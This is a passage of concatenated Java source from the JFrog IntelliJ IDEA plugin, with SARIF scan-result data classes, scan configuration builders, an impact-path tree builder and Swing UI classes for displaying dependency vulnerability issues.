Objects.hash(id); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Rule)) { return false; } Rule rhs = ((Rule) other); return Objects.equals(this.id, rhs.id); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/RuleProperties.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; @Getter public class RuleProperties { @JsonProperty("conclusion") private String conclusion; @JsonProperty("applicability") private String applicability; } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Run.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import org.apache.commons.collections4.CollectionUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; public class Run { @JsonProperty("tool") private Tool tool; @JsonProperty("invocations") private List invocations = new ArrayList<>(); @JsonProperty("results") private List results = new ArrayList<>(); public Tool getTool() { return tool; } @SuppressWarnings({"unused"}) public void setTool(Tool tool) { this.tool = tool; } @SuppressWarnings({"unused"}) public List getInvocations() { return invocations; } @SuppressWarnings({"unused"}) public void setInvocations(List invocations) { this.invocations = invocations; } public List getResults() { return results; } public Rule getRuleFromRunById(String ruleId) { return this.getTool().getDriver().getRuleById(ruleId); } public void setResults(List results) { this.results = results; } @Override public int hashCode() { return Objects.hash(results, tool, invocations); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Run)) { return false; } Run rhs = ((Run) other); return (((CollectionUtils.isEqualCollection(this.results, rhs.results)) && (Objects.equals(this.tool, rhs.tool))) && (CollectionUtils.isEqualCollection(this.invocations, rhs.invocations))); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/SarifResult.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import org.apache.commons.collections4.CollectionUtils; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; @Getter public class SarifResult { @JsonProperty("message") private Message message; @JsonProperty("locations") private List locations = new ArrayList<>(); @JsonProperty("ruleId") private String ruleId; @JsonProperty("codeFlows") private List codeFlows = new ArrayList<>(); @JsonProperty("kind") private String kind; @JsonProperty("level") private String severity; @JsonProperty("suppressions") private AnalyzeSuppression[] suppressions; public void setKind(String kind) { this.kind = kind; } public void setSeverity(String severity) { this.severity = severity; } public void setSuppressions(AnalyzeSuppression[] suppressions) { this.suppressions = suppressions; } public String getKind() { return StringUtils.defaultString(kind); } public String getSeverity() { return StringUtils.defaultString(severity, "warning"); } public void setMessage(Message message) { this.message = message; } @SuppressWarnings({"unused"}) public void setLocations(List locations) { this.locations = locations; } @SuppressWarnings({"unused"}) public void setRuleId(String ruleId) { this.ruleId = ruleId; } @SuppressWarnings({"unused"}) public List getCodeFlows() { return codeFlows; } @SuppressWarnings({"unused"}) public void setCodeFlows(List codeFlows) { this.codeFlows = codeFlows; } @Override public int hashCode() { return Objects.hash(locations, message, ruleId, codeFlows); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof SarifResult)) { return false; } SarifResult rhs = ((SarifResult) other); return ((((CollectionUtils.isEqualCollection(this.locations, rhs.locations)) && (Objects.equals(this.message, rhs.message))) && (Objects.equals(this.ruleId, rhs.ruleId))) && (CollectionUtils.isEqualCollection(this.codeFlows, rhs.codeFlows))); } public boolean isNotSuppressed() { return ArrayUtils.isEmpty(suppressions); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/ScanConfig.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import lombok.Getter; import lombok.ToString; import java.util.ArrayList; import java.util.List; @Getter @ToString public class ScanConfig { @JsonProperty("type") private SourceCodeScanType scanType; @JsonProperty("language") private String language; @JsonProperty("roots") private List roots; @JsonProperty("output") private String output; @JsonProperty("grep-disable") private Boolean grepDisable; @JsonProperty("cve-whitelist") private List cves; @JsonProperty("skipped-folders") private List skippedFolders; @JsonProperty("excluded-rules") private List excludedRules; @SuppressWarnings("unused") ScanConfig() { } ScanConfig(Builder builder) { this.scanType = builder.scanType; this.language = builder.language; this.roots = builder.roots; this.output = builder.output; this.cves = builder.cves; this.grepDisable = builder.grepDisable; this.skippedFolders = builder.skippedFolders; this.excludedRules = builder.excludedRules; } @SuppressWarnings("unused") public SourceCodeScanType getScanType() { return scanType; } @SuppressWarnings("unused") public void setScanType(SourceCodeScanType scanType) { this.scanType = scanType; } public void setLanguage(String language) { this.language = language; } @SuppressWarnings("unused") public void setRoots(List roots) { this.roots = roots; } @SuppressWarnings("unused") public void setOutput(String output) { this.output = output; } @SuppressWarnings("unused") public Boolean getGrepDisable() { return grepDisable; } @SuppressWarnings("unused") public void setGrepDisable(Boolean grepDisable) { this.grepDisable = grepDisable; } @SuppressWarnings("unused") public List getCves() { return cves; } @SuppressWarnings("unused") public void setCves(List cves) { this.cves = cves; } @SuppressWarnings("unused") public List getSkippedFolders() { return skippedFolders; } @SuppressWarnings("unused") public void setSkippedFolders(List skippedFolders) { this.skippedFolders = skippedFolders; } public static class Builder { private SourceCodeScanType scanType; private String language; private List roots; private String output; private Boolean grepDisable; private List cves; private List skippedFolders; private List excludedRules; public Builder() { roots = new ArrayList<>(); cves = new ArrayList<>(); skippedFolders = new ArrayList<>(); excludedRules = new ArrayList<>(); } @SuppressWarnings("UnusedReturnValue") public Builder scanType(SourceCodeScanType scanType) { this.scanType = scanType; return this; } public Builder language(String language) { this.language = language; return this; } public Builder roots(List roots) { this.roots = roots; return this; } @SuppressWarnings("UnusedReturnValue") public Builder output(String output) { this.output = output; return this; } @SuppressWarnings("unused") public Builder grepDisable(Boolean grepDisable) { this.grepDisable = grepDisable; return this; } public Builder cves(List cves) { this.cves = cves; return this; } @SuppressWarnings("unused") public Builder skippedFolders(List skippedFolders) { this.skippedFolders = skippedFolders; return this; } @SuppressWarnings("unused") public Builder excludedRules(List excludedRules) { this.excludedRules = excludedRules; return this; } public ScanConfig Build() { return new ScanConfig(this); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/ScansConfig.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import java.util.List; @Getter public class ScansConfig { @JsonProperty("scans") private List scans; @SuppressWarnings("unused") public ScansConfig() { } public ScansConfig(List scans) { this.scans = scans; } @SuppressWarnings("unused") public void setScans(List scans) { this.scans = scans; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/ThreadFlow.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import org.apache.commons.collections4.CollectionUtils; import java.util.ArrayList; import java.util.List; import java.util.Objects; public class ThreadFlow { @JsonProperty("locations") private List locations = new ArrayList<>(); @SuppressWarnings({"unused"}) public List getLocations() { return locations; } @SuppressWarnings("unused") public void setLocations(List locations) { this.locations = locations; } @Override public int hashCode() { return Objects.hash(locations); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof ThreadFlow)) { return false; } ThreadFlow rhs = ((ThreadFlow) other); return (CollectionUtils.isEqualCollection(this.locations, rhs.locations)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/ThreadFlowLocation.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class ThreadFlowLocation { @JsonProperty("location") private Location location; @SuppressWarnings("unused") public Location getLocation() { return location; } @SuppressWarnings("unused") public void setLocation(Location location) { this.location = location; } @Override public int hashCode() { return Objects.hash(location); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof ThreadFlowLocation)) { return false; } ThreadFlowLocation rhs = ((ThreadFlowLocation) other); return (Objects.equals(this.location, rhs.location)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/Tool.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class Tool { @JsonProperty("driver") private Driver driver; @SuppressWarnings("unused") public Driver getDriver() { return driver; } @SuppressWarnings("unused") public void setDriver(Driver driver) { this.driver = driver; } @Override public int hashCode() { return Objects.hash(driver); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof Tool)) { return false; } Tool rhs = ((Tool) other); return (Objects.equals(this.driver, rhs.driver)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/WorkingDirectory.java ================================================ package com.jfrog.ide.idea.scan.data; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.Objects; public class WorkingDirectory { @JsonProperty("uri") private String uri; @SuppressWarnings("unused") public String getUri() { return uri; } @SuppressWarnings("unused") public void setUri(String uri) { this.uri = uri; } @Override public int hashCode() { return Objects.hash(uri); } @Override public boolean equals(Object other) { if (other == this) { return true; } if (!(other instanceof WorkingDirectory)) { return false; } WorkingDirectory rhs = ((WorkingDirectory) other); return (Objects.equals(this.uri, rhs.uri)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/applications/JFrogApplicationsConfig.java ================================================ package com.jfrog.ide.idea.scan.data.applications; import com.fasterxml.jackson.annotation.JsonProperty; import com.intellij.openapi.project.Project; import com.jfrog.ide.idea.configuration.GlobalSettings; import com.jfrog.ide.idea.scan.utils.ScanUtils; import lombok.Getter; import lombok.NoArgsConstructor; import java.nio.file.Path; import java.util.ArrayList; import java.util.List; import java.util.Set; import static com.jfrog.ide.idea.scan.SourceCodeScannerManager.convertToSkippedFolders; @Getter @NoArgsConstructor public class JFrogApplicationsConfig { @JsonProperty("version") private String version; @JsonProperty("modules") private List modules; public static JFrogApplicationsConfig createApplicationConfigWithDefaultModule(Project project) { JFrogApplicationsConfig applicationsConfig = new JFrogApplicationsConfig(); Set paths = ScanUtils.createScanPaths(project); applicationsConfig.modules = new ArrayList<>(); for (Path path : paths) { ModuleConfig defaultModuleConfig = new ModuleConfig(); defaultModuleConfig.setSourceRoot(path.toString()); defaultModuleConfig.setExcludePatterns(convertToSkippedFolders(GlobalSettings.getInstance().getServerConfig().getExcludedPaths())); applicationsConfig.modules.add(defaultModuleConfig); } return applicationsConfig; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/applications/ModuleConfig.java ================================================ package com.jfrog.ide.idea.scan.data.applications; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.Setter; import java.util.List; import java.util.Map; @Getter @Setter public class ModuleConfig { @JsonProperty("name") private String name; @JsonProperty("source_root") private String sourceRoot; @JsonProperty("exclude_patterns") private List excludePatterns; @JsonProperty("exclude_scanners") private List excludeScanners; @JsonProperty("scanners") private Map scanners; } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/data/applications/ScannerConfig.java ================================================ package com.jfrog.ide.idea.scan.data.applications; import com.fasterxml.jackson.annotation.JsonProperty; import lombok.Getter; import lombok.Setter; import java.util.List; @Getter @Setter public class ScannerConfig { @JsonProperty("language") private String language; @JsonProperty("working_dirs") private List workingDirs; @JsonProperty("exclude_patterns") private List excludePatterns; @JsonProperty("excluded_rules") private List excludedRules; } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/utils/ImpactTreeBuilder.java ================================================ package com.jfrog.ide.idea.scan.utils; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.common.nodes.DescriptorFileTreeNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.subentities.ImpactTree; import com.jfrog.ide.common.nodes.subentities.ImpactTreeNode; import java.util.*; public class ImpactTreeBuilder { /** * Builds impact paths for {@link DependencyNode} objects. * * @param vulnerableDependencies a map of component IDs and the {@link DependencyNode} object matching each of them. * Impact paths will be built for these DependencyNodes * @param parents a map of all dependencies and their parents * @param rootId the project's root component ID */ public static void populateImpactTrees(Map vulnerableDependencies, Map> parents, String rootId) { for (DependencyNode vulnDep : vulnerableDependencies.values()) { walkParents(vulnDep, parents, rootId, Collections.singletonList(vulnDep.getComponentIdWithoutPrefix())); } } /** * Walks through a {@link DependencyNode}'s parents to build its impact paths. * * @param depNode a vulnerable dependency * @param parents a map of all dependencies and their parents * @param rootId the project's root component ID * @param path a path of nodes (represented by their component IDs) from the current parent to the current node */ private static void walkParents(DependencyNode depNode, Map> parents, String rootId, List path) { String currParentId = path.get(0); if (depNode.getImpactTree() != null && depNode.getImpactTree().getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT) { return; } // If we arrived at the root, add the path to the impact tree if (currParentId.equals(rootId)) { addImpactPathToDependencyNode(depNode, path); } else { for (String grandparentId : parents.get(currParentId)) { if (path.contains(grandparentId)) { continue; } List pathToGrandparent = new ArrayList<>(path); pathToGrandparent.add(0, grandparentId); walkParents(depNode, parents, rootId, pathToGrandparent); } } } public static void addImpactPathToDependencyNode(DependencyNode dependencyNode, List path) { if (dependencyNode.getImpactTree() == null) { dependencyNode.setImpactTree(new ImpactTree(new ImpactTreeNode(path.get(0)))); } ImpactTree impactTree = dependencyNode.getImpactTree(); if (impactTree.getImpactPathsCount() >= ImpactTree.IMPACT_PATHS_LIMIT) { return; } ImpactTreeNode parentImpactTreeNode = impactTree.getRoot(); for (int pathNodeIndex = 1; pathNodeIndex < path.size(); pathNodeIndex++) { String currPathNode = path.get(pathNodeIndex); // Find a child of parentImpactTreeNode with a name equals to currPathNode ImpactTreeNode currImpactTreeNode = parentImpactTreeNode.getChildren().stream().filter(impactTreeNode -> impactTreeNode.getName().equals(currPathNode)).findFirst().orElse(null); if (currImpactTreeNode == null) { currImpactTreeNode = new ImpactTreeNode(currPathNode); parentImpactTreeNode.getChildren().add(currImpactTreeNode); if (pathNodeIndex == path.size() - 1) { // If a new leaf was added, thus a new impact path was added (impact paths don't collide after they split) impactTree.incImpactPathsCount(); } } parentImpactTreeNode = currImpactTreeNode; } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/utils/ScanUtils.java ================================================ package com.jfrog.ide.idea.scan.utils; import com.google.common.collect.Sets; import com.intellij.openapi.module.Module; import com.intellij.openapi.module.ModuleManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.project.ProjectUtil; import com.intellij.openapi.vfs.VirtualFile; import com.jfrog.ide.common.utils.Utils; import com.jfrog.ide.idea.log.Logger; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.SystemUtils; import java.io.IOException; import java.nio.file.Path; import java.util.Set; /** * @author yahavi **/ public class ScanUtils { /** * This method gets a set of modules from IDEA, and searches for projects to be scanned. * * @param project - the project * @return local scan paths */ public static Set createScanPaths(Project project) { Set paths = Sets.newHashSet(); paths.add(com.jfrog.ide.idea.utils.Utils.getProjectBasePath(project)); for (Module module : ModuleManager.getInstance(project).getModules()) { VirtualFile modulePath = ProjectUtil.guessModuleDir(module); if (modulePath != null) { paths.add(modulePath.toNioPath()); } } paths = Utils.consolidatePaths(paths); Logger.getInstance().debug("Scanning projects in the following paths: " + paths); return paths; } public static String getOSAndArc() throws IOException { String arch = SystemUtils.OS_ARCH; // Windows if (SystemUtils.IS_OS_WINDOWS) { return "windows-amd64"; } // Mac if (SystemUtils.IS_OS_MAC) { if (StringUtils.equalsAny(arch, "aarch64", "arm64")) { return "mac-arm64"; } else { return "mac-amd64"; } } // Linux if (SystemUtils.IS_OS_LINUX) { switch (arch) { case "i386": case "i486": case "i586": case "i686": case "i786": case "x86": return "linux-386"; case "amd64": case "x86_64": case "x64": return "linux-amd64"; case "arm": case "armv7l": return "linux-arm"; case "aarch64": return "linux-arm64"; case "ppc64": case "ppc64le": return "linux-" + arch; } } throw new IOException(String.format("Unsupported OS: %s-%s", SystemUtils.OS_NAME, arch)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/AbstractJFrogToolWindow.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.Disposable; import com.intellij.openapi.actionSystem.*; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.SimpleToolWindowPanel; import com.intellij.ui.components.JBPanel; import com.intellij.util.messages.MessageBusConnection; import org.jetbrains.annotations.NotNull; import javax.swing.*; import java.awt.*; /** * @author yahavi */ public abstract class AbstractJFrogToolWindow extends SimpleToolWindowPanel implements Disposable { final MessageBusConnection projectBusConnection; final MessageBusConnection appBusConnection; final Project project; /** * @param project - Currently opened IntelliJ project */ public AbstractJFrogToolWindow(@NotNull Project project) { super(true); this.projectBusConnection = project.getMessageBus().connect(this); this.appBusConnection = ApplicationManager.getApplication().getMessageBus().connect(this); this.project = project; } /** * Create the action toolbar. That is the top toolbar. * * @return the action toolbar */ abstract JPanel createActionToolbar(); /** * Clear the component tree. */ abstract void resetViews(); JPanel createJFrogToolbar(ActionGroup actionGroup) { ActionToolbar actionToolbar = ActionManager.getInstance().createActionToolbar("JFrog toolbar", actionGroup, true); actionToolbar.setTargetComponent(this); JPanel toolbarPanel = new JBPanel<>(new FlowLayout(FlowLayout.LEFT, 0, 0)); toolbarPanel.add(actionToolbar.getComponent()); return toolbarPanel; } /** * Called after a change in the credentials. */ public void onConfigurationChange() { resetViews(); } @Override public void dispose() { // Disconnect and release resources from the project bus connection projectBusConnection.disconnect(); // Disconnect and release resources from the application bus connection appBusConnection.disconnect(); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/CiComponentsTree.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.project.Project; import com.intellij.util.messages.MessageBusConnection; import com.jfrog.ide.common.filter.FilterManager; import com.jfrog.ide.common.utils.ProjectsMap; import com.jfrog.ide.idea.events.ProjectEvents; import com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu; import com.jfrog.ide.idea.ui.menus.builds.BuildsMenu; import com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager; import com.jfrog.ide.idea.utils.Utils; import org.apache.commons.collections4.CollectionUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.DependencyTree; import javax.swing.tree.DefaultTreeModel; import java.util.Map; import java.util.Vector; /** * @author yahavi */ public class CiComponentsTree extends ComponentsTree { ProjectsMap projects = new ProjectsMap(); private BuildsMenu buildsMenu; public CiComponentsTree(@NotNull Project project) { super(project); } public static CiComponentsTree getInstance(@NotNull Project project) { return project.getService(CiComponentsTree.class); } public void setBuildsMenu(BuildsMenu buildsMenu) { this.buildsMenu = buildsMenu; } private void populateTree(DependencyTree root) { toolbarPopupMenus.forEach(ToolbarPopupMenu::refresh); setModel(new DefaultTreeModel(root)); validate(); repaint(); setCellRenderer(new ComponentsTreeCellRenderer()); buildsMenu.refresh(); } public void addOnProjectChangeListener(MessageBusConnection busConnection) { busConnection.subscribe(ProjectEvents.ON_SCAN_CI_CHANGE, (ProjectEvents) this::applyFilters); } private void appendProjectWhenReady(DependencyTree filteredRoot) { ApplicationManager.getApplication().invokeLater(() -> { if (CollectionUtils.size(filteredRoot.getChildren()) == 1) { appendProject(filteredRoot.getChildren().get(0)); } else { appendProject(filteredRoot); } }); } /** * Apply filters for the given project. If projectKey is null, clean the tree and the builds menu. * * @param projectKey - The project to apply the filters. */ public void applyFilters(ProjectsMap.ProjectKey projectKey) { if (projectKey == null) { reset(); buildsMenu.refresh(); return; } DependencyTree project = projects.get(projectKey); if (project == null) { return; } FilterManager filterManager = CiFilterManager.getInstance(this.project); DependencyTree filteredRoot = filterManager.applyFilters(project); filteredRoot.setIssues(filteredRoot.processTreeIssues()); filteredRoot.setViolatedLicenses(filteredRoot.processTreeViolatedLicenses()); appendProjectWhenReady(filteredRoot); } @Override public void reset() { projects = new ProjectsMap(); super.reset(); } public void applyFiltersForAllProjects() { setModel(null); for (Map.Entry entry : projects.entrySet()) { applyFilters(entry.getKey()); } } public void addScanResults(String projectName, DependencyTree dependencyTree) { projects.put(projectName, dependencyTree); } private void appendProject(DependencyTree filteredRoot) { // No projects in tree - Add filtered root as a single project and show only its children. if (getModel() == null) { populateTree(filteredRoot); return; } DependencyTree root = (DependencyTree) getModel().getRoot(); // One project in tree - Append filtered root and the old root the a new empty parent node. if (root.getUserObject() != null) { DependencyTree newRoot = filteredRoot; if (!Utils.areRootNodesEqual(root, filteredRoot)) { newRoot = new DependencyTree(); newRoot.setMetadata(true); newRoot.add(root); newRoot.add(filteredRoot); } populateTree(newRoot); return; } // Two or more projects in tree - Append filtered root to the empty parent node. addOrReplace(root, filteredRoot); populateTree(root); } private void addOrReplace(DependencyTree root, DependencyTree filteredRoot) { int childIndex = searchNode(root, filteredRoot); if (childIndex >= 0) { root.remove(childIndex); } root.add(filteredRoot); } private int searchNode(DependencyTree root, DependencyTree filteredRoot) { Vector children = root.getChildren(); for (int i = 0; i < children.size(); i++) { if (Utils.areRootNodesEqual(children.get(i), filteredRoot)) { return i; } } return -1; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ComponentDetails.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.ui.HyperlinkLabel; import com.intellij.ui.components.JBPanel; import com.intellij.ui.components.panels.HorizontalLayout; import com.intellij.util.ui.UIUtil; import com.jfrog.ide.common.utils.Utils; import com.jfrog.ide.idea.ui.utils.ComponentUtils; import org.apache.commons.collections4.CollectionUtils; import org.apache.commons.lang3.StringUtils; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.GeneralInfo; import org.jfrog.build.extractor.scan.License; import org.jfrog.build.extractor.scan.Scope; import javax.swing.*; import java.awt.*; import java.util.Set; import java.util.stream.Collectors; /** * @author yahavi */ public class ComponentDetails extends MoreInfoPanel { public ComponentDetails(DependencyTree node) { super(); GeneralInfo generalInfo = node.getGeneralInfo(); String pkgType = StringUtils.capitalize(generalInfo.getPkgType()); if (StringUtils.equalsAny(pkgType, "Npm", "Go")) { addText("Package", generalInfo.getGroupId()); } else { // Maven/Gradle addText("Group", generalInfo.getGroupId()); addText("Artifact", generalInfo.getArtifactId()); } addText("Version", generalInfo.getVersion()); addText("Type", pkgType); addScopes(node.getScopes()); addText("Path", generalInfo.getPath()); addLicenses(node.getLicenses()); } private void addScopes(Set scopes) { if (scopes.size() == 1 && scopes.contains(new Scope())) { // Don't show 'None' scope if this is the only one scope return; } addText("Scopes", scopes.stream().map(Scope::toString).collect(Collectors.joining(","))); } private void addLicenses(Set licenses) { if (licenses.isEmpty()) { return; } JPanel licensesPanel = new JBPanel<>(new HorizontalLayout(1)); licensesPanel.setBackground(UIUtil.getTableBackground()); for (License license : licenses) { if (CollectionUtils.isEmpty(license.getMoreInfoUrl())) { licensesPanel.add(ComponentUtils.createJTextArea(Utils.createLicenseString(license), false)); continue; } HyperlinkLabel hyperlinkLabel = new HyperlinkLabel(Utils.createLicenseString(license)); hyperlinkLabel.setBackground(UIUtil.getTableBackground()); hyperlinkLabel.setHyperlinkTarget(license.getMoreInfoUrl().get(0)); licensesPanel.add(hyperlinkLabel); } JLabel headerLabel = createHeaderLabel("Licenses:"); GridBagConstraints gridBagConstraints = createGridBagConstraints(); add(headerLabel, gridBagConstraints); gridBagConstraints.gridx = 1; gridBagConstraints.weightx = 0.9; add(licensesPanel, gridBagConstraints); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ComponentIssueDetails.java ================================================ package com.jfrog.ide.idea.ui; import org.apache.commons.lang3.StringUtils; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Issue; import javax.swing.*; import java.awt.*; import static com.jfrog.ide.idea.ui.utils.ComponentUtils.replaceAndUpdateUI; /** * @author yahavi */ public class ComponentIssueDetails extends ComponentDetails { private ComponentIssueDetails(DependencyTree node) { super(node); Issue topIssue = node.getTopIssue(); addText("Top Issue Severity", StringUtils.capitalize(topIssue.getSeverity().toString())); } static void createIssuesDetailsView(JPanel panel, DependencyTree node) { if (node == null || node.getGeneralInfo() == null) { createComponentInfoNotAvailablePanel(panel); return; } replaceAndUpdateUI(panel, new ComponentIssueDetails(node), BorderLayout.NORTH); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ComponentIssuesTable.java ================================================ package com.jfrog.ide.idea.ui; import com.google.common.collect.Lists; import com.intellij.ui.table.JBTable; import org.jfrog.build.extractor.scan.DependencyTree; import org.jfrog.build.extractor.scan.Issue; import org.jfrog.build.extractor.scan.Severity; import javax.swing.*; import javax.swing.table.TableColumn; import javax.swing.table.TableModel; import javax.swing.table.TableRowSorter; import javax.swing.tree.DefaultMutableTreeNode; import java.util.*; import java.util.stream.Collectors; import static com.jfrog.ide.idea.ui.IssuesTableModel.IssueColumn.*; /** * @author yahavi */ public class ComponentIssuesTable extends JBTable { private List selectedNodes = Lists.newArrayList(); private IssuesTableSelectionListener selectionListener; private static final List SORT_KEYS = Lists.newArrayList( new RowSorter.SortKey(SEVERITY.ordinal(), SortOrder.DESCENDING), new RowSorter.SortKey(COMPONENT.ordinal(), SortOrder.ASCENDING)); ComponentIssuesTable() { setModel(new IssuesTableModel()); setShowGrid(true); setDefaultRenderer(Object.class, new IssuesTableCellRenderer()); getTableHeader().setReorderingAllowed(false); setAutoResizeMode(AUTO_RESIZE_OFF); setSelectionMode(ListSelectionModel.SINGLE_SELECTION); } public void reset() { updateIssuesTable(new HashSet<>(), new ArrayList<>()); } public void updateIssuesTable(Set selectedIssue, List selectedNodes) { this.selectedNodes = selectedNodes; Set selectedNodeNames = selectedNodes.stream().map(DefaultMutableTreeNode::toString).collect(Collectors.toSet()); TableModel model = new IssuesTableModel(selectedIssue, selectedNodeNames); TableRowSorter sorter = createTableRowSorter(model, selectedNodeNames); setModel(model); setRowSorter(sorter); resizeTableColumns(); resizeAndRepaint(); } /** * Add mouse click listener on the issues table. * * @param moreInfoPanel - The more info panel */ public void addTableSelectionListener(JPanel moreInfoPanel) { if (selectionListener != null) { removeMouseListener(selectionListener); getSelectionModel().removeListSelectionListener(selectionListener); } selectionListener = new IssuesTableSelectionListener(moreInfoPanel, this); addMouseListener(selectionListener); getSelectionModel().addListSelectionListener(selectionListener); } /** * Sort rows by columns: * 1. Severity - from high to low. * 2. Component - direct before transitive issues. */ private TableRowSorter createTableRowSorter(TableModel model, Set selectedComponents) { TableRowSorter sorter = new TableRowSorter<>(model); sorter.setComparator(SEVERITY.ordinal(), Comparator.comparing(o -> ((Severity) o))); sorter.setComparator(COMPONENT.ordinal(), Comparator .comparing(s -> selectedComponents.contains(s.toString()) ? -1 : 0) .thenComparing(s -> (String) s)); sorter.setSortKeys(SORT_KEYS); sorter.sort(); return sorter; } private void resizeTableColumns() { int tableWidth = getParent().getWidth(); TableColumn severityCol = getColumnModel().getColumn(SEVERITY.ordinal()); severityCol.setPreferredWidth(severityCol.getPreferredWidth() / 2); tableWidth -= severityCol.getPreferredWidth(); TableColumn fixedVersionsCol = getColumnModel().getColumn(FIXED_VERSIONS.ordinal()); fixedVersionsCol.setPreferredWidth((fixedVersionsCol.getPreferredWidth() * 3)); tableWidth -= fixedVersionsCol.getPreferredWidth(); getColumnModel().getColumn(COMPONENT.ordinal()).setPreferredWidth(tableWidth); } public List getSelectedNodes() { return selectedNodes; } /** * Get the issue at the input row. * * @param row - The row number * @return the issue of the input row. */ Issue getIssueAt(int row) { IssuesTableModel model = (IssuesTableModel) getModel(); return model.getIssueAt(convertRowIndexToModel(row)); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/ui/ComponentsTree.java ================================================ package com.jfrog.ide.idea.ui; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.JBMenuItem; import com.intellij.openapi.ui.JBPopupMenu; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiInvalidElementAccessException; import com.intellij.ui.components.JBMenu; import com.intellij.ui.treeStructure.Tree; import com.jfrog.ide.idea.exclusion.Excludable; import com.jfrog.ide.idea.exclusion.ExclusionUtils; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.navigation.NavigationTarget; import com.jfrog.ide.idea.ui.menus.ToolbarPopupMenu; import org.jetbrains.annotations.NotNull; import org.jfrog.build.extractor.scan.DependencyTree; import javax.swing.*; import javax.swing.tree.TreeModel; import java.awt.event.ActionEvent; import java.nio.file.InvalidPathException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.ArrayList; import java.util.List; import java.util.Set; /** * @author yahavi */ public abstract class ComponentsTree extends Tree { protected Project project; protected final List toolbarPopupMenus = new ArrayList<>(); protected final JBPopupMenu popupMenu = new JBPopupMenu(); private static final String EXCLUDE_DEPENDENCY = "Exclude dependency"; public ComponentsTree(@NotNull Project project) { super((TreeModel) null); this.project = project; expandRow(0); setRootVisible(false); } protected void reset() { setModel(null); } public void addFilterMenu(ToolbarPopupMenu filterMenu) { this.toolbarPopupMenus.add(filterMenu); } private String getRelativizedDescriptorPath(NavigationTarget navigationTarget) { String pathResult = ""; try { VirtualFile descriptorVirtualFile = navigationTarget.getElement().getContainingFile().getVirtualFile(); pathResult = descriptorVirtualFile.getName(); String projBasePath = project.getBasePath(); if (projBasePath == null) { return pathResult; } Path basePath = Paths.get(project.getBasePath()); Path descriptorPath = Paths.get(descriptorVirtualFile.getPath()); pathResult = basePath.relativize(descriptorPath).toString(); } catch (InvalidPathException | PsiInvalidElementAccessException ex) { Logger log = Logger.getInstance(); log.error("Failed getting project-descriptor's path.", ex); } return pathResult; } @SuppressWarnings("unused") private void addNodeExclusion(DependencyTree nodeToExclude, Set parentCandidates, DependencyTree affectedNode) { if (parentCandidates.size() > 1) { addMultiExclusion(nodeToExclude, affectedNode, parentCandidates); } else { addSingleExclusion(nodeToExclude, affectedNode, parentCandidates.iterator().next()); } } private void addMultiExclusion(DependencyTree nodeToExclude, DependencyTree affectedNode, Set 